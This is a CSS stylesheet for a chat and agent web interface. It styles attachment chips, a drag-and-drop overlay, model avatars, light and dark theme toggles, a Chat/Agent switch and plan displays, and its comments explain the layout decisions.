.attach-chip__icon { color: var(--ink-muted); flex: none; display: flex; }
.attach-chip__body { min-width: 0; flex: 1; display: flex; flex-direction: column; }
.attach-chip__name { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
.attach-chip__meta { font-size: var(--text-xs); color: var(--ink-faint); }
.attach-chip__warning { font-size: var(--text-xs); color: var(--danger); }
/* --- Drag and drop -------------------------------------------------------- */
.dropzone-overlay {
position: absolute;
inset: 0;
z-index: var(--z-raised);
display: none;
flex-direction: column;
align-items: center;
justify-content: center;
gap: var(--sp-2);
border: 2px dashed var(--accent);
border-radius: var(--radius-lg);
background: color-mix(in srgb, var(--bg) 88%, var(--accent));
color: var(--accent);
font-weight: 500;
/* The overlay must not eat the drop event it is advertising. */
pointer-events: none;
}
.composer.is-dropping .dropzone-overlay { display: flex; }
/* --- Attachments in the thread -------------------------------------------- */
.attachments {
display: flex;
flex-wrap: wrap;
align-items: flex-start;
gap: var(--sp-2);
margin-bottom: var(--sp-2);
}
/* No frame: an attachment is a picture, and a border around it only ever drew
at the wrong width. The anchor shrink-wraps its image rather than filling the
column, and the width/height attributes on the <img> are overridden so a
small image is shown at its own size instead of being stretched. */
.attachments__image {
display: inline-flex;
max-width: 100%;
border-radius: var(--radius);
overflow: hidden;
line-height: 0;
}
.attachments__image img {
display: block;
width: auto;
height: auto;
max-width: min(22rem, 100%);
max-height: 20rem;
object-fit: contain;
}
.attachments__doc {
display: flex;
align-items: flex-start;
gap: var(--sp-2);
padding: var(--sp-2) var(--sp-3);
border: 1px solid var(--border);
border-radius: var(--radius);
background: var(--surface);
font-size: var(--text-sm);
max-width: 100%;
}
.attachments__doc-body { display: flex; flex-direction: column; min-width: 0; }
.attachments__doc-body > a { overflow-wrap: anywhere; }
/* --- Model avatars -------------------------------------------------------- */
.model-avatar {
width: 2rem;
height: 2rem;
flex: none;
border-radius: var(--radius);
object-fit: cover;
background: var(--surface-active);
}
.model-avatar--initial {
display: grid;
place-items: center;
font-family: var(--font-display);
font-weight: 600;
font-size: var(--text-sm);
/* Hue comes from the model id (see the stable_hue filter); saturation and
lightness are fixed so every generated badge stays legible in both themes. */
background: hsl(var(--avatar-hue, 40) 42% 34%);
color: hsl(var(--avatar-hue, 40) 60% 92%);
}
:root[data-theme="shire"] .model-avatar--initial {
background: hsl(var(--avatar-hue, 40) 46% 82%);
color: hsl(var(--avatar-hue, 40) 60% 22%);
}
/* --- Theme toggle --------------------------------------------------------- */
/* Only the icon for the theme you would switch TO is shown. Both live in the
same button, so the wrapper must not add a line box of its own. */
.theme-icon { display: flex; }
:root[data-theme="moria"] .theme-icon--dark { display: none; }
:root[data-theme="shire"] .theme-icon--light { display: none; }
/* Alpine sets x-cloak until it has initialised; without this, collapsed
folders flash open on every page load. */
[x-cloak] { display: none !important; }
/* --- Unread indicator ------------------------------------------------------ */
.unread-dot {
width: 0.5rem;
height: 0.5rem;
border-radius: var(--radius-full);
background: var(--success);
flex: none;
/* A ring so it stays visible against the active row's lighter background. */
box-shadow: 0 0 0 2px color-mix(in srgb, var(--success) 25%, transparent);
}
.unread-dot[hidden] { display: none; }
/* --- Agent chats -----------------------------------------------------------
`.select--sm` and `.input--sm` are defined once, in app.css, at
var(--control-h-sm). A second definition here made every small control on a
chat page 0.15rem taller than the same control anywhere else -- which is
exactly the drift --control-h exists to prevent.
*/
/* The connection. Wide enough to read a machine's name without truncating it
to three characters, which is what it did while `.select--sm` did not exist.
A floor rather than a fixed width, so a long name still grows. */
.composer__connection { min-width: 10rem; }
/*
Chat or Agent: one control with two halves, not two buttons that happen to be
adjacent. Radios underneath, because the choice is permanent and mutually
exclusive and should read as a fork -- and because a radio group is what a
screen reader already knows how to announce.
*/
.segmented {
display: inline-flex;
flex: none;
padding: 2px;
border: 1px solid var(--border);
border-radius: var(--radius-full);
background: var(--bg-sunken);
}
.segmented__option { position: relative; display: inline-flex; }
.segmented__option input {
position: absolute;
inset: 0;
opacity: 0;
cursor: pointer;
margin: 0;
}
.segmented__option span {
display: inline-flex;
align-items: center;
gap: var(--sp-1);
height: calc(var(--control-h-sm) - 2px);
padding: 0 var(--sp-3);
border-radius: var(--radius-full);
color: var(--ink-faint);
font-size: var(--text-xs);
font-weight: 500;
white-space: nowrap;
transition: background var(--transition-fast), color var(--transition-fast);
}
.segmented__option input:hover + span { color: var(--ink-muted); }
.segmented__option input:checked + span {
background: var(--surface-raised);
color: var(--ink);
box-shadow: var(--shadow-sm);
}
.segmented__option input:focus-visible + span {
outline: 2px solid var(--accent);
outline-offset: 1px;
}
/* --- A plan, and the way to carry it out ----------------------------------- */
.plan {
margin: var(--sp-3) 0;
padding: var(--sp-4);
border: 1px solid var(--border-strong);
border-left: 3px solid var(--accent);
border-radius: var(--radius-md);
background: var(--surface);
}
.plan__title {
display: flex;
align-items: center;
gap: var(--sp-2);
margin: 0 0 var(--sp-3);
font-size: var(--text-base);
color: var(--ink);
}
.plan__summary {
margin: 0 0 var(--sp-3);
color: var(--ink-muted);
line-height: var(--leading-relaxed);
}
.plan__section, .plan__phase { margin-bottom: var(--sp-4); }
.plan__heading {
margin: 0 0 var(--sp-2);
font-size: var(--text-xs);
font-weight: 600;
letter-spacing: 0.04em;
text-transform: uppercase;
color: var(--ink-faint);
}
.plan__findings, .plan__objectives {
margin: 0;
padding-left: var(--sp-5);
display: flex;
flex-direction: column;
gap: var(--sp-1);
color: var(--ink-muted);
line-height: var(--leading-relaxed);
}
.plan__steps {
margin: 0;
padding-left: var(--sp-5);
display: flex;
flex-direction: column;
gap: var(--sp-2);
color: var(--ink-muted);
line-height: var(--leading-relaxed);
}
.plan__phase:last-of-type .plan__steps { margin-bottom: var(--sp-4); }
/* A status is a class, never a character in the text: a tick written into the
string would be indistinguishable from a tick the model wrote itself. */
.plan__item--done { color: var(--success); }
.plan__item--doing { color: var(--ink); font-weight: 500; }
.plan__item--dropped { color: var(--ink-faint); text-decoration: line-through; }
.plan__phase--done .plan__heading { color: var(--success); }
.plan__note-inline {
display: block;
color: var(--ink-faint);
font-size: var(--text-xs);
}
.plan__note { color: var(--ink-faint); font-size: var(--text-xs); }